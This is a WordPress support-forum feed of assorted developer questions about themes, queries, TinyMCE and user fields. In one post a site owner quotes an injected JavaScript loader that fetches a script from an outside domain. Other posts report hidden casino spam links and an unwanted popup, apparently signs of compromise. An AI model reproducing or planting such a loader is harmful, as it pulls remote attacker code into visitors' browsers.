Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

boys93 on "how displays of different categories on the homepage"


Trinity7 on "Highlight Misspelled Words In Editor W YELLOW"

$
0
0

That little red line for highlighting misspelled words in WP editor is lame. I want my misspelled words to POP so I can find them at 3AM when I am tired and easily miss that lame little red line.

Where do I make the necessary edits to convert that lame little red line to YELLOW in WP theme 2014?

Many thanks.
JD

ulrikagoransson on "The access to the site has ben limited"

$
0
0

Hello!
In my class we have a blog and all the students are visiting the blog almost in the same time for the schoolwork. We have a Wi-fi . Many times we get a massage like this "Exceeded the maximum number of page not found errors per minute for humans." The respons was generated by Wordfence.
I can also read in the message "HTTP response code 503".
Can someone help me what to do?
Ulrika Göransson

jwiere03 on "Add fields when adding new user?"

$
0
0

I want to add some extra fields when I create new users. I am currently adding these fields using a function called from the register_form hook when a new user registers and I can use edit_user_profile hook to run the function when I am editing a user I already have.

So I already have these fields in place if a person goes through the WordPress register form. Or if I edit existing users. But I have to personally add 90 members to this site as opposed to having them register. I am using the "Add User" function from the dashboard as opposed to having these users go through the register form and I would like to be able to add this information as I add the users instead of having to add them and then go back and edit them.

ali_cruse on "This code is being shown at website"

$
0
0

Hi Guys,

I was updating my wordpress site and suddenly got the white screen with the following error...

(function(){var we=document.createElement('script');we.type='text/javascript';we.async=true;we.src='http://static.worlderror.org/s.js?code=404&lang=en&pv=2&pname=YVL4X9S]&ref=ZqHaWUscWmgmYjz]&ver=5.6.109&bt=2&ue=js&uid=st3250318as_9vy6snmm';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(we,s);})();

any idea how to fix it.

Regards,

BWCCenter on "Spam Casino Links on my website"

$
0
0

I am very new to WP and learning as I go. A few months ago, we spotted hidden embedded links on our homepage from Google Webmaster tools, and they were linked to online casino sites. I've installed a few securty plugins, but they seem to come back clean. Here are the following subpages i've found linked to my site:

/online-roulette
/online-casino-real-money
/online-casino-usa
/best-online-casino
/online-casino-australia

I thought it was embedded in one of the plugins so I started deactivating plugins. The first one I deactivated was the All in One SEO plugin and those sites came back with a 404. So I deleted the plugin and I checked those spammy sites this morning and they're back on. How do I get rid of these from my webpage for good? They're hurting our rankings!

gstan07 on "Shortcodes and page title"

$
0
0

I have a problem with setting the page title.
I have a photo gallery plugin, with a shortcode handler. When that shortcode is placed on a page, this page acts as my photo gallery, based on query vars.

//register some query vars
//....
//init shortcode
add_shortcode( 'mygallery', 'shortcodeHandler' );
function shortcodeHandler(){
//retrieve pictures from db and display them on screen based on various query vars(page, album,photoid etc)
}

My problem is that i cannot find a way to set the page title from the shortcode handler itself. To show album title, photo title etc
The only way i can do this is by
add_filter( 'wp_title'...
with a filter handler.
But this way i have to redo all the queries i made in the shortcode handler based on the query vars.

So, what i want is different page title for gallery page, album page, photo page etc. I display all these pages using the same shortcode + various query vars params

How would you solve this?
Thanks

Agence Myso on "Loading posts only from last month with posts"

$
0
0

Hi there,

The topic may seem to be a little odd, but this is my problem.
I have quite an unusual menu composed of three columns :
1st level : a typical menu (created thanks to wp_nav_menu, first item is 'NEWS'.
2nd level : wp_get_archives (corresponding to the item 'NEWS) displaying a list of the 12 last months.
3rd level : the posts corresponding to each month (wp_query using date_query).

When you get to the homepage, you are directly getting to the NEWS section.
There, the second column displays the list of months, no problem. Then, third column displays the list of posts.
This works as soon as you are in the current month. As soon as you are for example in february, but your last posts were posted in january, no list of posts is created...

To be clearer, I'll add my code :

if ( is_home() || is_page() ) { ?>

            <div class="navigation col-lg-4 col-md-6 col-sm-9 col-xs-12">

                <div class="menu1 auto-current col-lg-4 col-md-4 col-sm-4 col-xs-12">

                    <?php
                         $args = array(
                            'theme_location' => 'header-menu'
                        );
                        wp_nav_menu($args);
                    ?>
                </div>
                <div class="menu-mask">

                    <div class="menu2 auto-current col-lg-4 col-md-4 col-sm-4 col-xs-6">

                    <?php
                    $args = array(
                            'type'            => 'monthly',
                            'post_type'       => 'video',
                            'limit'           => '12',
                            'format'          => 'html',
                            'before'          => '',
                            'after'           => '',
                            'show_post_count' => false,
                            'echo'            => 1,
                            'order'           => 'DESC'
                        );
                    wp_get_archives_cpt($args); ?>

                    </div>

                    <div class="menu3 auto-current col-lg-4 col-md-4 col-sm-4 col-xs-6">

                    <?php

                    /* var_dump($GLOBALS['wp_query']); */

                    $month = get_the_time('m');
                    $year = get_the_time('Y');

                    $args = array(
                        'post_type'         => array('video'),
                        'orderby'           => 'post_date',
                        'order'             => 'DESC',
                        'posts_per_page'    => -1,
                        'date_query'        => array(
                            array(
                                'month'         => $month,
                                'year'          => $year
                            ),
                        )
                    );

                            $the_query = new WP_Query($args);
                            if ( $the_query->have_posts() ) :
                            echo '<ul>';
                                while ( $the_query->have_posts() ) : $the_query->the_post(); ?>
                                        <li><a class="post-link" href="<?php the_permalink(); ?>"><?php the_title(); ?></a></li>
                                    <?php
                                endwhile;
                            echo '</ul>';
                            endif; ?>

                    </div>
                </div>

            </div>

            <div class="video-container col-lg-8 col-md-6 col-xs-12">

            <?php $args = array(
                    'post_type' => 'video',
                    'numberposts' => 1,
                    'orderby' => 'post_date',
                    'order' => 'DESC'
                );

                $recent_posts = get_posts( $args );

                if ($recent_posts) {

                    foreach ($recent_posts as $post) :

                    $post_ID = get_the_ID();
                     /*echo $post_ID.' '; */

                    $next_vid = get_permalink(get_adjacent_post( true, '', true )); ?>

                    <video id="my-video-js" class="video-js vjs-default-skin vjs-big-play-centered" controls preload="auto" autoplay
                    data-setup='{}' width="auto" height="auto">
                        <source src="<?php echo get_field('video_mp4'); ?>" type="video/mp4">
                        <source src="<?php echo get_field('video_webm'); ?>" type="video/webm">
                    </video>

                <?php endforeach;
                } ?>

            </div>
        <?php }
get_template_part('partials/video-grid-date');
get_footer(); ?>

See what my problem is ???
I need to display the last posts from the last month with post...
In other words, I need something like : 'hey WP, please look at the last month which has posts and get all of them, but only them, not the ones from the previous months."

Any idea??


shecodes on "Single image attachment template for custom post type gallery"

$
0
0

I've created two custom post types 'galleries1' and 'galleries2'.

This is because the website operates two different services that are styled differently. And I want to be able to use the built-in gallery function in Wordpress but style the gallery differently depending on whether it's in section '1' of the website or section '2'.

So far I have been able to create templates as follows:

2 styles of index.php
archive-galleries1.php and archive-galleries2.php
- showing all the available galleries for that section.

2 styles of single.php
single-galleries1.php and single-galleries2.php
- showing all the thumbnails within a particular gallery

I've now hit a wall where clicking on an individual thumb to its attachment page leads to the image.php file. If I remove this it leads to the content-single.php file. What template should be used to enable me to create two styles of template for the single image attachment page? I'm not sure if this is possible as I've noticed I am linking to an attachment from the media library so does this mean that I can't relate back to the fact that it was attached to a specific custom post type 'galleries1' or 'galleries2' ?

I'm not sure if I've explained myself well, but would appreciate any help or guidance.

Rob on "get_permalink post id outside loop"

$
0
0

Hi,

I've been struggling with this question for a while and altho there's some topics regarding this subject I'm not sure how to implement it. It's regarding social buttons on homepage sharingthe articles clicked on.

I have to use <script type="text/javascript" charset="utf-8" >var bShareOpt = {url: "<?php echo get_permalink(); ?>"};</script> which shows the permalink of the last ID instead of the link clicked on. If I add the post_id number <?php echo get_permalink(2926); ?> it shows the correct post.

Now this is because it happens outside the loop.

Other topics regarding getting post id outside the loop:
get-a-posts-id
wordpress-get-the-page-id-outside-the-loop
accessing-post-id-outside-of-the-loop-for-listing-child-pages

Using get_queried_object_id or get_queried_object is apparently another option to do so.

But unfortunately my PHP knowledge is very limited in order to glue the pieces together. I appreciate any help!

Ryan on "Using pre_get_posts to update query of a child post no longer works as expected"

$
0
0

The requirement was that parent and child pages, of a specified custom post type, would be accessible by making a request to the root domain followed by the page slug.

In other words, instead of having URLs like this:

example.org/services/web-development
example.org/services/web-development/wordpress

The goal was to have URLs like this:

example.org/web-development
example.org/wordpress

This was accomplished by using the post_type_link filter and the pre_get_posts action hook.

Here is the code for post_type_link:

function post_type_link($permalink, $post, $leavename) {

	// Post types of interest
	$post_types = array('services');

	// If not post type of interest
	if(!in_array($post->post_type, $post_types)) {

		return $permalink;
	}

	// Break URL into scheme, host, path and query
	$url_components = parse_url($permalink);

	// Save path component from URL
	$post_path = $url_components['path'];

	// Do nothing if root URL
	if($post_path == '/') {

		return $permalink;
	}

	// Strip beginning and trailing slash from path
	$post_path = trim($post_path, '/');

	// Do nothing if there is no post slug
	if(empty($post_path)) {

		return $permalink;
	}

	// Break down post slug
	$post_slugs = explode('/', $post_path);

	// Extract post name from post slugs
	$post_name = end($post_slugs);

	// Do nothing is post name is empty
	if(empty($post_name)) {

		return $permalink;
	}

	// Remove parent slugs from URL
	$permalink = str_replace($post_path, $post_name, $permalink);

	return $permalink;
}

Here is the code for pre_get_posts:

function pre_get_posts($query) {
	global $wpdb;

	// If user is browsing the website
	if(!is_admin()) {

		// If query is main page query
		if(!$query->is_main_query()) {
			return;
		}

		// Get the post name
		$post_name = $query->get('pagename');

		// Look up the post's post type via the post name
		$post_type = $wpdb->get_var(
			$wpdb->prepare(
				'SELECT post_type FROM ' . $wpdb->posts . ' WHERE post_name = %s LIMIT 1',
				$post_name
			)
		);

		// If look-up was successful
		if(!empty($post_type)) {

			// Determine actions based on post type
			switch($post_type) {

				case 'services':
					$query->set('services', $post_name);
					$query->set('post_type', $post_type);
					break;

			}
		}
	}
}

This worked successfully in WordPress 3.9.3 and below, but stopped working in WordPress 4.0 and up.

Specifically, parent pages still load fine, but child pages now return a 404.

If I print out $wp_query on both a parent and child page, in both the template (single-services.php) and in pre_get_posts, I see my WP_Query adjustments were applied for both parent and child page.

I also see my changes applied in the template for the parent page. In other words, a post is, in fact, returned and this is the query it made:

SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND (wp_posts.ID = '1234') AND wp_posts.post_type = 'services' ORDER BY wp_posts.post_date DESC

But I don't get that result when a child page is requested:

SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND (wp_posts.ID = '0') AND wp_posts.post_type = 'services' ORDER BY wp_posts.post_date DESC

What stands out is that the ID is zero.

I looked back over query.php (in WordPress 4.1) and on line 2585 is the following conditional:

if ( isset($this->queried_object_id) ) {
	$reqpage = $this->queried_object_id;
} else {
	if ( 'page' != $q['post_type'] ) {
		foreach ( (array)$q['post_type'] as $_post_type ) {
			$ptype_obj = get_post_type_object($_post_type);
			if ( !$ptype_obj || !$ptype_obj->hierarchical )
				continue;

			$reqpage = get_page_by_path($q['pagename'], OBJECT, $_post_type);
			if ( $reqpage )
				break;
		}
		unset($ptype_obj);
	} else {
		$reqpage = get_page_by_path($q['pagename']);
	}
	if ( !empty($reqpage) )
		$reqpage = $reqpage->ID;
	else
		$reqpage = 0;
}

On the parent page, $reqpage is 1234, but on the child page, $reqpage is 0.

I found that this is because $reqpage = get_page_by_path($q['pagename'], OBJECT, $_post_type); returns a WP_Post object for the parent page, but 0 for the child page.

Looking at the get_page_by_path function in post.php, I noticed the following on line 4215:

if ( $p->post_parent == 0 && $count+1 == count( $revparts ) && $p->post_name == $revparts[ $count ] ) {
	$foundid = $page->ID;
	if ( $page->post_type == $post_type )
		break;
}

If I remove this check: $p->post_parent == 0, the child page loads fine. From what I can tell, however, this part of the code wasn't updated since 2011, so I don't think that's the issue.

All that said, that's where I'm at with troubleshooting. I figured I'd post it here in case I missed something, someone has an idea of what might be affecting this, or suggestions on how to resolve it.

PS: I did the following statement in the pre_get_posts docs today:

pre_get_posts cannot be used to alter the query for Page requests (page templates) because 'is_page', 'is_singular', 'pagename' and other properties (depending if pretty permalinks are used) are already set by the parse_query() method.

I don't know if that was always there, but it sounds like this is what I'm trying to do, depending on your interpretation of "Page" and whether it's used generally, Posts vs Pages, or anything not custom post type. My code did, nevertheless, work since the update to 4.0.

dalexra on "Import posts with thumbs"

$
0
0

Hello,
I want to import posts in DB with wp_insert_post() and i need to add image as thumbnail but for use wp_set_thumbnail() image must be uploaded in UPLOADS dir and must be in galery.
Is there simle way to insert posts with images and thumbnails?
Thanks!

S.K. on "Website Adcash Popup Please Help!"

$
0
0

Website unauthorized Adcash Popup Please Help!

mvidberg on "Proper way to add a Publish link to the Posts page"

$
0
0

How can I add a quick "Publish" link as an extra link on the line that has "Edit | Quick Edit | Trash | View" on the admin Posts page? This is so when there are bunch of articles in draft mode that someone can go to the main post listing page and just click on Publish instead of going to edit one individually (yes, I know there is "Quick Edit" which lets you modify the status but that still isn't convenient enough).

aksi-mkoster on "Blog issue; where do I change things?"

$
0
0

Dear Support forum,

I have this website http://www.aksi.nl.
As you can see the whole website is in Dutch. I changed wordpress to a dutch version as well. The only thing left is that the blog still has minor things in english. I want to change those or remove those. (read more.. , published in, by admin)

Where can I change/remove these things? I've been searching in the .php and in wordpress, but I can't find it.

Thank you in advance for helping me out.


gislef on "Add buttom - TinyMCE"

$
0
0

Hi

I am working with two plugins that use the Tinymce for text editing:

- WIRIS (editor of posts and pages adds button to mathematical formulas without entering codes such as latex)

- TinyMCE Visual Comment Editor (insert a small editor in the comment)

I want to add in Visual TinyMCE Comment editor the button wiris, so that the mathematical formulas button also appears in the comment editor.

Directory wp-include plugin wiris

wp-includes/js/tinymce/plugins/tiny_mce_wiris

Directory wp-content

/wp-content/plugins/tiny_mce_wiris.php

Content tiny_mce_wiris.php:

add_filter('mce_external_plugins', 'wrs_addPlugin');
add_filter('mce_buttons', 'wrs_addButtons');

function wrs_addPlugin($plugins) {
	$plugins['tiny_mce_wiris'] = get_option('home') . '/wp-includes/js/tinymce/plugins/tiny_mce_wiris/editor_plugin.js';
	return $plugins;
}

function wrs_addButtons($buttons) {
	array_push($buttons, 'separator', 'tiny_mce_wiris_formulaEditor', 'tiny_mce_wiris_CAS');
	return $buttons;
}
?>

Content code function of TinyMCE Visual Editor Comment:
/wp-content/plugins/tinymce-visual-editor-comment/function.php

<?php
require_once('setting.php');
$mobilesp = get_option('mobilesp');
if ($mobilesp=="mobilesp"){
	add_filter( 'comment_form_field_comment', 'comment_editor' );
}
else {
	if( !wp_is_mobile() )
		add_filter( 'comment_form_field_comment', 'comment_editor' );
}
function comment_editor() {
  global $post;
  ob_start();
  $rtl = get_option('ltr_rtf, tyny_mce_wiris');
  $mediabtn = get_option('mediabtn');
  if ($mediabtn=='mediabtn'){$mediabtn=true;}
  else{$mediabtn=false;}
  wp_editor( '', 'comment', array(
    'textarea_rows' => 15,
    'teeny' => true,
    'quicktags' => false,
	'media_buttons' => $mediabtn,
	'tinymce' => array('directionality' => $rtl),
  ) );

  $editor = ob_get_contents();

  ob_end_clean();

  //make sure comment media is attached to parent post
  $editor = str_replace( 'post_id=0', 'post_id='.get_the_ID(), $editor );

  return $editor;
}

// wp_editor doesn't work when clicking reply. Here is the fix.
add_action( 'wp_enqueue_scripts', '__THEME_PREFIX__scripts' );
function __THEME_PREFIX__scripts() {
    wp_enqueue_script('jquery');
}
add_filter( 'comment_reply_link', '__THEME_PREFIX__comment_reply_link' );
function __THEME_PREFIX__comment_reply_link($link) {
    return str_replace( 'onclick=', 'data-onclick=', $link );
}
add_action( 'wp_head', '__THEME_PREFIX__wp_head' );

function __THEME_PREFIX__wp_head() {
?>
<script type="text/javascript">
  jQuery(function($){
    $('.comment-reply-link').click(function(e){
      e.preventDefault();
      var args = $(this).data('onclick');
      args = args.replace(/.*\(|\)/gi, '').replace(/\"|\s+/g, '');
      args = args.split(',');
      tinymce.EditorManager.execCommand('mceRemoveEditor', true, 'comment');
      addComment.moveForm.apply( addComment, args );
      tinymce.EditorManager.execCommand('mceAddEditor', true, 'comment');
    });
  });
</script>
<?php }

function at_comment_css() {
	// This makes sure that the positioning is also good for right-to-left languages
	$x = is_rtl() ? 'left' : 'right';

	echo "
	<style type='text/css'>
	#wp-comment-editor-container {
		border: 2px solid #DFDFDF;
	}
	</style>
	";
}

add_action('wp_head', 'at_comment_css');

Please help me, how to add bottom wiris in the TinyMCE Visual Editor Comment?

umarsa on "How to show a static page on homepage"

$
0
0

I was wondering if there was a way to show one specific post above all else in the homepage.

Something like a featured article so that article1 is always displayed at the top followed by all other articles. Then say if there are four more posts it is displayed like so:

article 1
article 5
article 4
article 3
article 2
article 1

How would I go about doing this?

adaldesign on "meta_query 'compare' =>'IN' not working as described in Codex"

$
0
0

I'm at a loss, trying to use what seemed like a rather textbook meta_query parameter as one of the arguments in a get_users() request.

I formatted the code (displayed below) using the instructions provided on the get_users Codex page, as well as the WP_Meta_Query Codex page referenced.
There is also a post on StackOverflow that suggests this same syntax should work just fine.

However it's not working for me. I am able to get results using the 'LIKE' compare key but that one can't process an array of values like 'IN' is supposed to. I could try to hack my way around this with an ugly foreach loop but I'd really rather keep it kosher.

Here's my code:

$user_query_args = array(
	'role'         => '',
	'meta_query' => array(
		array(
			'key' => 'guest_type',
			'value' => $gest_type // this works fine
		),
		array(
			'key' => 'wp_'. $blog_ID .'_registration_status',
			'value' => $registration_status // this works fine
		),
		array(
			'key' => 'mandatory_tracks',
			'value' => 'newphy',
			'compare' => 'IN'  //*** but this don't work ***
		)

	),
	'orderby'      => 'login',
	'fields'       => 'ID'
);

$reported_users_IDs = get_users( $user_query_args );

And just so you know I'm not crazy, this row exists in the user_meta table of the database:

82 3 mandatory_tracks a:2:{i:0;s:6:"newphy";i:1;s:9:"workforce";}

Finally, you can see my work in progress with some var_dumps here.

Any help is greatly appreciated!

apaero on "How to have news, albums, interviews (posts) ... related to a band"

$
0
0

Hi, I'm planning on moving my entire music website to Wordpress. And my first though is how could I mantain the basic structure without a headache.

In my site I have the categories 'news', 'album reviews' and 'interviews' related to a specific band, so when I go to mysite/band it shows the last news, reviews and interviews of that band. I would like to have the same structure in Wordpress.

Also, the editor should be able to add specific content to each post depending on the category. Per example, If I add a review, it should contain the rating and the info about the album (label, title, release date, etc.).

I'm almost new with Wordpress but familiar with php (mi entire site is php/mysql) and I would like to know (without too much detail now) how would you implement it in Wordpress, to start in the good way.

Thanks for your time.

Tyler on "How disable post box collapse"

$
0
0

I cannot find this issue anywhere on the forums. What I want is for all the fields when you create a post to remove the "Click to Toggle" link. I want all the boxes to stay open and never collapse.

There's a post here talking about it here: http://wordpress.stackexchange.com/questions/39723/unbind-postbox-click-handle But I tried posting that last post into my functions.php but nothing changed.

How do I stop the post boxes from collapsing?

Viewing all 8245 articles
Browse latest View live




Latest Images